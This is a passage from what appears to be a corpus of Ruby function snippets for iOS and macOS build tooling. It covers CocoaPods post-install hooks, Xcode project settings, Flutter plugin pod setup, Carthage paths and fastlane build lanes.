UserProjectIntegrator::TargetIntegrator::BUILD_PHASE_PREFIX + UserProjectIntegrator::TargetIntegrator::COPY_DSYM_FILES_PHASE_NAME\n phase = UserProjectIntegrator::TargetIntegrator.create_or_update_shell_script_build_phase(native_target, phase_name)\n phase.shell_script = %(\"#{script_path}\"\\n)\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n if use_input_output_paths?\n input_file_list_path = target.copy_dsyms_script_input_files_path\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths = input_paths_by_config[input_paths_key] = []\n input_paths.concat([dsym_paths, *bcsymbolmap_paths].flatten.compact)\n\n output_file_list_path = target.copy_dsyms_script_output_files_path\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths = output_paths_by_config[output_paths_key] = []\n\n dsym_output_paths = dsym_paths.map { |dsym_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(dsym_path)}\" }\n bcsymbolmap_output_paths = bcsymbolmap_paths.map { |bcsymbolmap_path| \"${DWARF_DSYM_FOLDER_PATH}/#{File.basename(bcsymbolmap_path)}\" }\n output_paths.concat([dsym_output_paths, *bcsymbolmap_output_paths].flatten.compact)\n end\n\n UserProjectIntegrator::TargetIntegrator.set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n end", "def generate_pods_project\n stage_sandbox(sandbox, pod_targets)\n\n cache_analysis_result = analyze_project_cache\n pod_targets_to_generate = cache_analysis_result.pod_targets_to_generate\n aggregate_targets_to_generate = cache_analysis_result.aggregate_targets_to_generate\n\n pod_targets_to_generate.each do |pod_target|\n pod_target.build_headers.implode_path!(pod_target.headers_sandbox)\n sandbox.public_headers.implode_path!(pod_target.headers_sandbox)\n end\n\n create_and_save_projects(pod_targets_to_generate, aggregate_targets_to_generate,\n cache_analysis_result.build_configurations, cache_analysis_result.project_object_version)\n SandboxDirCleaner.new(sandbox, pod_targets, aggregate_targets).clean!\n\n update_project_cache(cache_analysis_result, target_installation_results)\n end", "def add_pods_to_unity \n ios_project_path = File.join(BuildPath, \"ios\", \"Unity-iPhone.xcodeproj\")\n proj = ::Xcodeproj::Project.open(ios_project_path)\n\n pods_project_path = File.join(BuildPath, \"ios\", \"Pods\", \"Pods.xcodeproj\")\n proj.new_file(pods_project_path)\n\n proj.save\n end", "def copy_all_project_files(dir)\n directory FileUtils.pwd, dir,\n exclude_pattern: /(.git|.DS_Store|.irb-history|.gitignore|.gitkeep|screenshot|.apk|.zip)/\n # Replacing launcher files to avoid problems with AWS Device Farm\n copy_file File.join(File.dirname(__FILE__), '..', 'aws',\n 'android', 'app_installation_hooks.rb'),\n File.join(dir, 'features', 'android',\n 'support', 'app_installation_hooks.rb'),\n force: true\n copy_file File.join(File.dirname(__FILE__), '..', 'aws',\n 'android', 'app_life_cycle_hooks.rb'),\n File.join(dir, 'features', 'android',\n 'support', 'app_life_cycle_hooks.rb'),\n force: true\n copy_file File.join(File.dirname(__FILE__), '..', 'aws',\n 'ios', '01_launch.rb'),\n File.join(dir, 'features', 'ios',\n 'support', '01_launch.rb'),\n force: true\nend", "def update_frameworks(name)\n\n path = \"#{Dir.pwd}/#{name}.xcodeproj\"\n\n if !Dir.exist?(path) then\n puts \"No project!\"\n return\n end\n\n update_carthage()\n inject_frameworks(name)\nend", "def build_apple(rb_file, device)\n check_build_src_file(rb_file)\n\n # Check for Simple 2D framework,\n unless File.exists?('/usr/local/Frameworks/Simple2D/iOS/Simple2D.framework') && File.exists?('/usr/local/Frameworks/Simple2D/tvOS/Simple2D.framework')\n puts \"#{'Error:'.error} Simple 2D iOS and tvOS frameworks not found. Install them and try again.\\n\"\n exit\n end\n\n # Check if MRuby exists; if not, quit\n if `which mruby`.empty?\n puts \"#{'Error:'.error} Can't find MRuby, which is needed to build native Ruby 2D applications.\\n\"\n exit\n end\n\n # Add debugging information to produce backtrace\n if @debug then debug_flag = '-g' end\n\n # Assemble the Ruby 2D library in one `.rb` file and compile to bytecode\n make_lib\n `mrbc #{debug_flag} -Bruby2d_lib -obuild/lib.c build/lib.rb`\n\n # Read the provided Ruby source file, copy to build dir and compile to bytecode\n File.open('build/src.rb', 'w') { |file| file << strip_require(rb_file) }\n `mrbc #{debug_flag} -Bruby2d_app -obuild/src.c build/src.rb`\n\n # Copy over iOS project\n FileUtils.cp_r \"#{@gem_dir}/assets/#{device}\", \"build\"\n\n # Combine contents of C source files and bytecode into one file\n File.open(\"build/#{device}/main.c\", 'w') do |f|\n f << \"#define RUBY2D_IOS_TVOS 1\" << \"\\n\\n\"\n f << \"#define MRUBY 1\" << \"\\n\\n\"\n f << File.read(\"build/lib.c\") << \"\\n\\n\"\n f << File.read(\"build/src.c\") << \"\\n\\n\"\n f << File.read(\"#{@gem_dir}/ext/ruby2d/ruby2d.c\")\n end\n\n # Build the Xcode project\n `simple2d build --#{device} build/#{device}/MyApp.xcodeproj`\n\n # Clean up\n clean_up unless @debug\n\n # Success!\n puts \"App created at `build/#{device}`\"\nend", "def copy_files_to_target\n COMMON_RAMMER_FILES.each do |file|\n source = File.join(\"#{@gem_path}/lib/modules/common/\",file)\n FileUtils.cp(source,\"#{@project_name}\")\n $stdout.puts \"\\e[1;32m \\tcreate\\e[0m\\t#{file}\"\n end\n end", "def carthage_build_path(platform, framework)\n return \"#{carthage_build_dir_for_platform(platform)}/#{framework}\"\nend", "def copy_project_dependencies_for_awestruct_image\n\n puts \"- Copying project dependencies into '_docker/awestruct' for build...\"\n\n parent_gemfile = File.open '../Gemfile'\n parent_gemlock = File.open '../Gemfile.lock'\n\n target_gemfile = FileHelpers.open_or_new('awestruct/Gemfile')\n target_gemlock = FileHelpers.open_or_new('awestruct/Gemfile.lock')\n #Only copy if the file has changed. Otherwise docker won't cache optimally\n FileHelpers.copy_if_changed(parent_gemfile, target_gemfile)\n FileHelpers.copy_if_changed(parent_gemlock, target_gemlock)\n\n puts \"- Successfully copied project dependencies into '_docker/awestruct' for build.\"\n\nend", "def install_flutter_business_pods\n install_business_pods\n install_plugin_pods\nend", "def create_app_project\n app_project = open_app_project(recreate: !configuration.incremental_installation?)\n\n spec_platforms = spec.available_platforms.flatten.reject do |platform|\n !configuration.platforms.nil? && !configuration.platforms.include?(platform.string_name.downcase)\n end\n\n if spec_platforms.empty?\n Pod::Command::Gen.help! Pod::StandardError.new \"No available platforms in #{spec.name}.podspec match requested platforms: #{configuration.platforms}\"\n end\n\n spec_platforms\n .map do |platform|\n consumer = spec.consumer(platform)\n target_name = \"App-#{Platform.string_name(consumer.platform_name)}\"\n next if app_project.targets.map(&:name).include? target_name\n native_app_target = Pod::Generator::AppTargetHelper.add_app_target(app_project, consumer.platform_name,\n deployment_target(consumer), target_name)\n # Temporarily set Swift version to pass validator checks for pods which do not specify Swift version.\n # It will then be re-set again within #perform_post_install_steps.\n Pod::Generator::AppTargetHelper.add_swift_version(native_app_target, Pod::Validator::DEFAULT_SWIFT_VERSION)\n native_app_target\n end\n .compact.tap do\n app_project.recreate_user_schemes do |scheme, target|\n installation_result = installation_result_from_target(target)\n next unless installation_result\n installation_result.test_native_targets.each do |test_native_target|\n scheme.add_test_target(test_native_target)\n end\n end\n end\n .each do |target|\n Xcodeproj::XCScheme.share_scheme(app_project.path, target.name) if target\n end\n app_project.save\n end", "def master_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\nend", "def remove_duplicate_dependencies(installer)\n \n applicationTargets = [\n 'Pods-Base-Project',\n ]\n libraryTargets = [\n 'Pods-AnalyticsManager',\n ]\n\n embedded_targets = installer.aggregate_targets.select { |aggregate_target|\n libraryTargets.include? aggregate_target.name\n }\n embedded_pod_targets = embedded_targets.flat_map { |embedded_target| embedded_target.pod_targets }\n host_targets = installer.aggregate_targets.select { |aggregate_target|\n applicationTargets.include? aggregate_target.name\n }\n\n # We only want to remove pods from Application targets, not libraries\n host_targets.each do |host_target|\n host_target.xcconfigs.each do |config_name, config_file|\n host_target.pod_targets.each do |pod_target|\n if embedded_pod_targets.include? pod_target\n pod_target.specs.each do |spec|\n if spec.attributes_hash['ios'] != nil\n frameworkPaths = spec.attributes_hash['ios']['vendored_frameworks']\n else\n frameworkPaths = spec.attributes_hash['vendored_frameworks']\n end\n if frameworkPaths != nil\n frameworkNames = Array(frameworkPaths).map(&:to_s).map do |filename|\n extension = File.extname filename\n File.basename filename, extension\n end\n frameworkNames.each do |name|\n puts \"Removing #{name} from OTHER_LDFLAGS of target #{host_target.name}\"\n config_file.frameworks.delete(name)\n end\n end\n end\n end\n end\n xcconfig_path = host_target.xcconfig_path(config_name)\n config_file.save_as(xcconfig_path)\n end\n end\n\nend", "def install\n\n system \"cmake\", \".\", *std_cmake_args\n system \"make\", \"install\"\n\n resource(\"flightgear-data\").stage { (prefix/\"fgfs.app\"/\"Contents\"/\"Resources\"/\"data\").install Dir[\"./*\"] }\n \n #if build.with? \"scenery\"\n # resource(\"scenery\").stage { (\n #end\n\n end", "def develop_pods\n color(32) { puts \"Installing Develop Pods...\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'develop'\nend", "def new_copy_files_build_phase(name = nil)\n phase = project.new(PBXCopyFilesBuildPhase)\n phase.name = name\n build_phases << phase\n phase\n end", "def feature_pods\n ### ONLY FOR DEVELOP PURPOSES ###\n feature_branch = \"develop\" # <- HERE: Change this line to setup ALL the pods repository from another branch WHEN pods_environment = \"develop\"\n ### ONLY FOR DEVELOP PURPOSES ###\n\n color(32) { puts \"Installing Develop Pods from branch: #{feature_branch}\" }\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => \"#{feature_branch}\"\nend", "def flipper_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n cflags = config.build_settings['OTHER_CFLAGS'] || '$(inherited) '\n unless cflags.include? '-DFB_SONARKIT_ENABLED=1'\n puts 'Adding -DFB_SONARKIT_ENABLED=1 in OTHER_CFLAGS...'\n cflags << '-DFB_SONARKIT_ENABLED=1'\n end\n config.build_settings['OTHER_CFLAGS'] = cflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def publish_to_cocoapods()\n command = \"cd downstream_repos/card.io-iOS-SDK;\"\n command += \"pod trunk push CardIO.podspec\"\n \n CommandProcessor.command(command, live_output=true)\nend", "def local_pods\n color(32) { puts \"Installing Local Pods...\" }\n pod 'BasicCommons', :path => '../../BasicCommons/'\nend", "def flutter_additional_macos_build_settings(target)\n return unless target.platform_name == :osx\n\n # [target.deployment_target] is a [String] formatted as \"10.8\".\n deployment_target_major, deployment_target_minor = target.deployment_target.match(/(\\d+).?(\\d*)/).captures\n\n # ARC code targeting macOS 10.10 does not build on Xcode 14.3.\n force_to_arc_supported_min = !target.deployment_target.blank? &&\n (deployment_target_major.to_i < 10) ||\n (deployment_target_major.to_i == 10 && deployment_target_minor.to_i < 11)\n\n # Suppress warning when pod supports a version lower than the minimum supported by the latest stable version of Xcode (currently 10.14).\n # This warning is harmless but confusing--it's not a bad thing for dependencies to support a lower version.\n inherit_deployment_target = !target.deployment_target.blank? &&\n (deployment_target_major.to_i < 10) ||\n (deployment_target_major.to_i == 10 && deployment_target_minor.to_i < 14)\n\n # This podhelper script is at $FLUTTER_ROOT/packages/flutter_tools/bin.\n # Add search paths from $FLUTTER_ROOT/bin/cache/artifacts/engine.\n artifacts_dir = File.join('..', '..', '..', '..', 'bin', 'cache', 'artifacts', 'engine')\n debug_framework_dir = File.expand_path(File.join(artifacts_dir, 'darwin-x64'), __FILE__)\n release_framework_dir = File.expand_path(File.join(artifacts_dir, 'darwin-x64-release'), __FILE__)\n\n unless Dir.exist?(debug_framework_dir)\n # macOS artifacts have not been downloaded.\n raise \"#{debug_framework_dir} must exist. If you're running pod install manually, make sure \\\"flutter precache --macos\\\" is executed first\"\n end\n\n target.build_configurations.each do |build_configuration|\n # ARC code targeting macOS 10.10 does not build on Xcode 14.3. Force to at least macOS 10.11.\n build_configuration.build_settings['MACOSX_DEPLOYMENT_TARGET'] = '10.11' if force_to_arc_supported_min\n\n # Skip other updates if it's not a Flutter plugin (transitive dependency).\n next unless target.dependencies.any? { |dependency| dependency.name == 'FlutterMacOS' }\n\n # Profile can't be derived from the CocoaPods build configuration. Use release framework (for linking only).\n configuration_engine_dir = build_configuration.type == :debug ? debug_framework_dir : release_framework_dir\n build_configuration.build_settings['FRAMEWORK_SEARCH_PATHS'] = \"\\\"#{configuration_engine_dir}\\\" $(inherited)\"\n\n # When deleted, the deployment version will inherit from the higher version derived from the 'Runner' target.\n # If the pod only supports a higher version, do not delete to correctly produce an error.\n build_configuration.build_settings.delete 'MACOSX_DEPLOYMENT_TARGET' if inherit_deployment_target\n\n # Avoid error about Pods-Runner not supporting provisioning profiles.\n # Framework signing is handled at the app layer, not per framework, so disallow individual signing.\n build_configuration.build_settings.delete 'EXPANDED_CODE_SIGN_IDENTITY'\n build_configuration.build_settings['CODE_SIGNING_REQUIRED'] = 'NO'\n build_configuration.build_settings['CODE_SIGNING_ALLOWED'] = 'NO'\n end\nend", "def build!\n create_output_directory\n spec.source_directories.each { |d| simple_compile_directory(d) }\n compile_files(spec.all_javascript_paths)\n compile_files(spec.all_stylesheet_paths)\n write_manifest\n end", "def nuspec_copy(key, glob)\r\n puts \"key: #{key}, glob: #{glob}, proj dir: #{PROJECTS[key][:dir]}\"\r\n FileList[File.join(FOLDERS[:binaries], PROJECTS[key][:dir], glob)].collect{ |f|\r\n to = File.join( FOLDERS[:\"#{key}\"][:nuspec], \"lib\", FRAMEWORK )\r\n FileUtils.mkdir_p to\r\n cp f, to\r\n # return the file name and its extension:\r\n File.join(FRAMEWORK, File.basename(f))\r\n }\r\nend", "def remove_static_framework_duplicate_linkage(static_framework_pods)\n puts \"Removing duplicate linkage of static frameworks\"\n\n Dir.glob(File.join(PODS_TARGET_SUPPORT_FILES_DIR, \"Pods-*\")).each do |path|\n pod_target = path.split('-', -1).last\n\n static_framework_pods.each do |target, pods|\n next if pod_target == target\n frameworks = pods.map { |pod| identify_frameworks(pod) }.flatten\n\n Dir.glob(File.join(path, \"*.xcconfig\")).each do |xcconfig|\n lines = File.readlines(xcconfig)\n\n if other_ldflags_index = lines.find_index { |l| l.start_with?('OTHER_LDFLAGS') }\n other_ldflags = lines[other_ldflags_index]\n\n frameworks.each do |framework|\n other_ldflags.gsub!(\"-framework \\\"#{framework}\\\"\", '')\n end\n\n File.open(xcconfig, 'w') do |fd|\n fd.write(lines.join)\n end\n end\n end\n end\n end\nend", "def flutter_install_plugin_pods(application_path = nil, relative_symlink_dir, platform)\n # defined_in_file is set by CocoaPods and is a Pathname to the Podfile.\n application_path ||= File.dirname(defined_in_file.realpath) if respond_to?(:defined_in_file)\n raise 'Could not find application path' unless application_path\n\n # Prepare symlinks folder. We use symlinks to avoid having Podfile.lock\n # referring to absolute paths on developers' machines.\n\n symlink_dir = File.expand_path(relative_symlink_dir, application_path)\n system('rm', '-rf', symlink_dir) # Avoid the complication of dependencies like FileUtils.\n\n symlink_plugins_dir = File.expand_path('plugins', symlink_dir)\n system('mkdir', '-p', symlink_plugins_dir)\n\n plugins_file = File.join(application_path, '..', '.flutter-plugins-dependencies')\n plugin_pods = flutter_parse_plugins_file(plugins_file, platform)\n plugin_pods.each do |plugin_hash|\n plugin_name = plugin_hash['name']\n plugin_path = plugin_hash['path']\n has_native_build = plugin_hash.fetch('native_build', true)\n\n # iOS and macOS code can be shared in \"darwin\" directory, otherwise\n # respectively in \"ios\" or \"macos\" directories.\n shared_darwin_source = plugin_hash.fetch('shared_darwin_source', false)\n platform_directory = shared_darwin_source ? 'darwin' : platform\n next unless plugin_name && plugin_path && has_native_build\n symlink = File.join(symlink_plugins_dir, plugin_name)\n File.symlink(plugin_path, symlink)\n\n # Keep pod path relative so it can be checked into Podfile.lock.\n relative = flutter_relative_path_from_podfile(symlink)\n\n pod plugin_name, path: File.join(relative, platform_directory)\n end\nend", "def getCarthageProjectPath(framework_name)\n framework_project_paths = Dir['Carthage/Checkouts/' + framework_name + '/**/*.xcodeproj']\n \n if framework_project_paths.empty?\n abort(\"\\nCan't find framework project\\n\".red)\n end\n \n framework_project_paths.each { |framework_project_path|\n # Get proper targets\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n \n if framework_targets.any?\n return framework_project_path\n end\n }\n \n return nil\nend", "def pods\n\tpod 'DateTools'\n\tpod 'HyUIActionEvent', :git => \"https://github.com/HyanCat/HyUIActionEvent.git\"\n\tpod 'HyFoundation', :path => \"..\"\nend", "def release_pods\n pod 'BasicCommons', :git => 'git@github.com:kevinOlivet/BasicCommons.git', :branch => 'master'\n pod 'BasicUIElements', :git => 'git@github.com:kevinOlivet/BasicUIElements.git', :branch => 'master'\n pod 'CuotasModule', :git => 'git@github.com:kevinOlivet/CuotasModule.git', :branch => 'master'\nend", "def add_frameworks_bundles\n UI.message '- Adding frameworks' do\n add_file_accessors_paths_to_pods_group(:vendored_frameworks, :frameworks)\n end\n end", "def localPods\n pod 'ZXYModels', :path => './ThirdPartFrameworks/ZXYModels'\nend", "def add_source_files_references\n UI.message '- Adding source files' do\n add_file_accessors_paths_to_pods_group(:source_files, nil, true)\n end\n end", "def build_framework?; build.include? 'framework'; end", "def build_files_command\n \"middleman build\"\n end", "def add_files_to_project\n # add/overwrite some files\n mkdir('config/init')\n mkdir_p('lib/tasks')\n cp_r(Dir.glob('../files/*'), '.')\n # gem changed the api in version 1.3.2, I think, at least it is changed\n # in version 1.3.4, so the following merb hack is necessary for merb\n # 1.0.11\n # TODO: this should be generically performed outside of the spec2merb script\n if Versionomy.parse(`gem --version`) < Versionomy.parse('1.3.4')\n raise Exception.new 'Please upgrade rubygems to at least 1.3.4 (sudo gem update --system)'\n end\n if File.exist?('tasks/merb.thor/gem_ext_4.rb')\n rm('tasks/merb.thor/gem_ext.rb') if File.exist?('tasks/merb.thor/gem_ext.rb')\n mv('tasks/merb.thor/gem_ext_4.rb', 'tasks/merb.thor/gem_ext.rb')\n end\n end", "def grin_wallet_post_install(installer)\n installer.pods_project.targets.each do |target|\n if target.name == 'YogaKit'\n target.build_configurations.each do |config|\n config.build_settings['SWIFT_VERSION'] = '4.1'\n end\n end\n end\n file_name = Dir.glob(\"*.xcodeproj\")[0]\n app_project = Xcodeproj::Project.open(file_name)\n app_project.native_targets.each do |target|\n target.build_configurations.each do |config|\n ldflags = config.build_settings['OTHER_LDFLAGS'] || '$(inherited) '\n unless ldflags.include? 'IOKit'\n puts 'Adding -framework IOKit in OTHER_LDFLAGS...'\n ldflags << '-framework IOKit'\n end\n config.build_settings['OTHER_LDFLAGS'] = ldflags\n end\n app_project.save\n end\n installer.pods_project.save\nend", "def import_pods\n import_pods_appname\nend", "def j2objc_iosjava\n pod 'j2objc-iosjava-debug', :configuration => ['Debug'], :path => '../iosjava/build/j2objcOutputs'\n pod 'j2objc-iosjava-release', :configuration => ['Release'], :path => '../iosjava/build/j2objcOutputs'\nend", "def set_bitcode_generation(installer)\n Pod::UI.puts \"Enforcing bitcode generation\"\n\n installer.pods_project.targets.each do |target|\n target.build_configurations.each do |config|\n config.build_settings['BITCODE_GENERATION_MODE'] = 'bitcode'\n end\n end\n\n installer.pods_project.save\nend", "def local_pods\n color(32) { puts \"Installing Local Pods...\" }\n pod 'BasicCommons', :path => '../BasicCommons/'\n pod 'BasicUIElements', :path => '../BasicUIElements/'\n pod 'CuotasModule', :path => '../CuotasModule/'\nend", "def commons_pods\nend", "def build!\n test_git!\n\n file_list = Dir.glob(\"#{@source}*\").sort # Pull the file list before creating the target directory\n\n setup_target\n\n add_runner\n\n file_list.each do |infile_name|\n rewrite_animation_frame infile_name\n create_commit infile_name\n end\n end", "def copy_assets; end", "def install\n system \"./build.sh\"\n bin.install \"./bin/pngwolf\"\n end", "def install_app\n STDERR.puts \"Installing #{@name} from #{@source} into #{target}\"\n dirs = Dir.entries(@source)\n use_engine = dirs.include?(\"crowbar_engine\")\n dirs.sort.each do |ent|\n next if /^\\./ =~ ent or ent == \"debian\"\n case ent\n when \"crowbar_framework\"\n next if use_engine || skip_files\n debug(\"Copying crowbar_framework files over for #{@name}\")\n FileUtils.cp_r(File.join(@source,'crowbar_framework'),target)\n when \"crowbar_engine\"\n FileUtils.cp_r(File.join(@source,ent),dir) unless @source == dir\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"))\n FileUtils.mkdir_p(File.join(target,\"crowbar_framework/test/unit\"))\n FileUtils.cp_r(File.join(dir,ent,\"barclamp_\"+@name+\"/test/unit\"),File.join(target,\"crowbar_framework/test/\"))\n end\n if FileTest.exists?(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"))\n FileUtils.cp(File.join(dir,ent,\"barclamp_\"+@name+\"/test/\"+@name+\"_test_helper.rb\"),File.join(target,\"crowbar_framework/test/\"))\n end\n debug(\"#{@name} is implemented using a Rails Engine.\")\n debug(\"Linking in routes and Gemfile entries.\")\n gem_name = \"barclamp_#{@name}\"\n engine_class = \"Barclamp%s::Engine\" % camelize(@name)\n # N.B. the run-time path to the engine could be different from\n # the install-time path referenced by our 'dir' variable, so\n # instead we use a 'crowbar_path' variable set at runtime by\n # the main Gemfile.\n engine_path = File.join('crowbar_engine', gem_name)\n framework_dir = File.join(target, 'crowbar_framework')\n routes_dir = File.join(framework_dir, 'config', 'routes.d')\n gemfile_dir = File.join(framework_dir, 'Gemfile.d')\n FileUtils.mkdir_p(routes_dir)\n FileUtils.mkdir_p(gemfile_dir)\n routes_plugin = File.join(routes_dir, \"barclamp-#{@name}-engine.routes\")\n gemfile_plugin = File.join(gemfile_dir, \"barclamp-#{@name}.gemfile\")\n File.open(routes_plugin, 'w') do |f|\n f.puts(\"mount #{engine_class}, :at => '#{@name}'\")\n end unless File.exists?(routes_plugin)\n File.open(gemfile_plugin, 'w') do |f|\n f.puts(\"gem '#{gem_name}', :path => File.join(crowbar_path, '..', 'barclamps', '#{@name}', '#{engine_path}')\")\n end unless File.exists?(gemfile_plugin)\n when 'bin'\n debug(\"Installing commands for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'bin'))\n FileUtils.cp_r(File.join(@source,'bin'),target)\n FileUtils.chmod_R(0755,File.join(target,'bin'))\n when 'etc'\n debug(\"Installing configs for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'etc'))\n FileUtils.cp_r(File.join(@source,'etc'),@root)\n when 'updates'\n debug(\"Installing Sledgehammer updates for #{@name}\")\n FileUtils.mkdir_p(File.join(@root,'updates'))\n FileUtils.cp_r(File.join(@source,'updates'),@root)\n when 'BDD'\n debug(\"Installing BDD framework components for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'BDD'))\n FileUtils.cp_r(File.join(@source,'BDD'),target)\n when 'doc'\n debug(\"Installing documentation for #{@name}\")\n FileUtils.mkdir_p(File.join(target,'doc',@name))\n FileUtils.cp_r(File.join(@source,'doc','.'),File.join(target,'doc',@name))\n else\n next if @source == dir\n debug(\"Copying #{ent} into #{dir}\")\n FileUtils.mkdir_p(dir)\n FileUtils.cp_r(File.join(@source,ent),dir)\n end\n end\n end", "def remove_copy_xcframeworks_script_phase_from_target(native_target)\n remove_script_phase_from_target(native_target, COPY_XCFRAMEWORKS_PHASE_NAME)\n end", "def set_carthage_framework_search_paths_for_target(target, platform)\n target.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \"$(SRCROOT)/Carthage/Build/#{platform}\"\n )\nend", "def create_carthage_script_phase_for_test_targets(project, name)\n frameworks.each do |platform, fs|\n t = target(project, name, platform, true)\n add_carthage_script(t, platform, fs)\n end\nend", "def build(adhoc: false)\n \n # fetch the latest certificates and provisioning profile\n # todo: use match to automatically sync certs and profiles\n get_certificates(generate_apple_certs: false)\n get_provisioning_profile(adhoc: adhoc)\n\n # set version number and build number\n update_app_version_numbers\n\n # set xcode project to use the correct certificate and profile\n update_code_signing_settings(\n use_automatic_signing: false,\n code_sign_identity: \"iPhone Distribution\",\n profile_name: lane_context[SharedValues::SIGH_NAME]\n )\n \n # install pods\n cocoapods\n\n # check for pod cache (derived data)\n scheme = ENV[\"GYM_SCHEME\"]\n build_configuration = \"Release\"\n\n Dir.chdir(\"..\") do\n \n ios_derived_data_path = File.expand_path(\".local_derived_data\")\n cache_dir = File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/BuildProductsPath/#{build_configuration}-iphoneos\")\n\n puts \"derived data dir = #{ios_derived_data_path}\"\n puts \"cache dir = #{cache_dir}\"\n\n if(File.exist?(cache_dir))\n\n # build with pod cache\n puts \"using cached derived data\"\n\n fastlane_require 'xcodeproj'\n project = Xcodeproj::Project.open(ENV[\"MAIN_PROJECT\"])\n target = project.targets.select { |target| target.name == scheme }.first\n phase = target.shell_script_build_phases.select { |phase| phase.name && phase.name.include?('Copy Pods Resources') }.first\n if (!phase.shell_script.start_with?('BUILT_PRODUCTS_DIR'))\n phase.shell_script = \"BUILT_PRODUCTS_DIR=#{cache_dir} #{phase.shell_script}\"\n project.save()\n end\n\n gym(\n silent: false,\n export_method: adhoc ? \"ad-hoc\" : \"app-store\",\n suppress_xcode_output: true,\n include_symbols: true,\n include_bitcode: true,\n project: \"ios/#{ENV[\"MAIN_PROJECT\"]}\",\n scheme: scheme,\n buildlog_path: \"ios/.build_logs\",\n configuration: build_configuration,\n output_directory: \"ios\",\n xcargs: [\n \"PODS_CONFIGURATION_BUILD_DIR=#{cache_dir}\",\n \"FRAMEWORK_SEARCH_PATHS='#{cache_dir} $(inherited)'\",\n \"LIBRARY_SEARCH_PATHS='#{cache_dir} $(inherited)'\",\n \"SWIFT_INCLUDE_PATHS=#{cache_dir}\"\n ].join(\" \")\n )\n\n else\n \n # full build\n puts \"performing full build (no derived data cache)\"\n\n build_app(\n silent: false,\n export_method: adhoc ? \"ad-hoc\" : \"app-store\",\n suppress_xcode_output: true,\n include_symbols: true,\n include_bitcode: true,\n buildlog_path: \"ios/.build_logs\",\n workspace: \"ios/#{ENV[\"MAIN_WORKSPACE\"]}\",\n derived_data_path: ios_derived_data_path,\n configuration: build_configuration,\n output_directory: \"ios\",\n )\n\n # remove misc artifacts to reduce cache size\n require 'fileutils'\n dirs = [\n File.expand_path(\"#{ios_derived_data_path}/info.plist\"),\n File.expand_path(\"#{ios_derived_data_path}/Logs\"),\n File.expand_path(\"#{ios_derived_data_path}/SourcePackages\"),\n File.expand_path(\"#{ios_derived_data_path}/ModuleCache.noindex\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/IntermediateBuildFilesPath/#{scheme}.build\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/IntermediateBuildFilesPath/XCBuildData\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/BuildProductsPath/SwiftSupport\"),\n File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/PrecompiledHeaders\")\n ]\n dirs.each { |dir| FileUtils.rm_rf(dir) }\n end\n end\n end", "def build(adhoc: false)\n # fetch the latest certificates and provisioning profile\n # todo: use match to automatically sync certs and profiles\n get_certificates(generate_apple_certs: true)\n get_provisioning_profile(adhoc: adhoc)\n\n # set version number and build number\n update_app_version_numbers\n\n # set xcode project to use the correct certificate and profile\n update_code_signing_settings(\n use_automatic_signing: false,\n code_sign_identity: 'iPhone Distribution',\n profile_name: lane_context[SharedValues::SIGH_NAME]\n )\n\n # install pods\n cocoapods\n\n # check for pod cache (derived data)\n scheme = ENV['GYM_SCHEME']\n build_configuration = 'Release'\n\n Dir.chdir('..') do\n ios_derived_data_path = File.expand_path('.local_derived_data')\n cache_dir = File.expand_path(\"#{ios_derived_data_path}/Build/Intermediates.noindex/ArchiveIntermediates/#{scheme}/BuildProductsPath/#{build_configuration}-iphoneos\")\n\n puts \"derived data dir = #{ios_derived_data_path}\"\n puts \"cache dir = #{cache_dir}\"\n\n if File.exist?(cache_dir)\n\n # build with pod cache\n puts 'using cached derived data'\n\n fastlane_require 'xcodeproj'\n project = Xcodeproj::Project.open(ENV['MAIN_PROJECT'])\n target = project.targets.select { |target| target.name == scheme }.first\n phase = target.shell_script_build_phases.select do |phase|\n phase.name && phase.name.include?('Copy Pods Resources')\n end.first\n unless phase.shell_script.start_with?('BUILT_PRODUCTS_DIR')\n phase.shell_script = \"BUILT_PRODUCTS_DIR=#{cache_dir} #{phase.shell_script}\"\n project.save\n end\n\n gym(\n silent: false,\n export_method: adhoc ? 'ad-hoc' : 'app-store',\n suppress_xcode_output: true,\n include_symbols: true,\n include_bitcode: true,\n project: \"ios/#{ENV['MAIN_PROJECT']}\",\n scheme: scheme,\n buildlog_path: 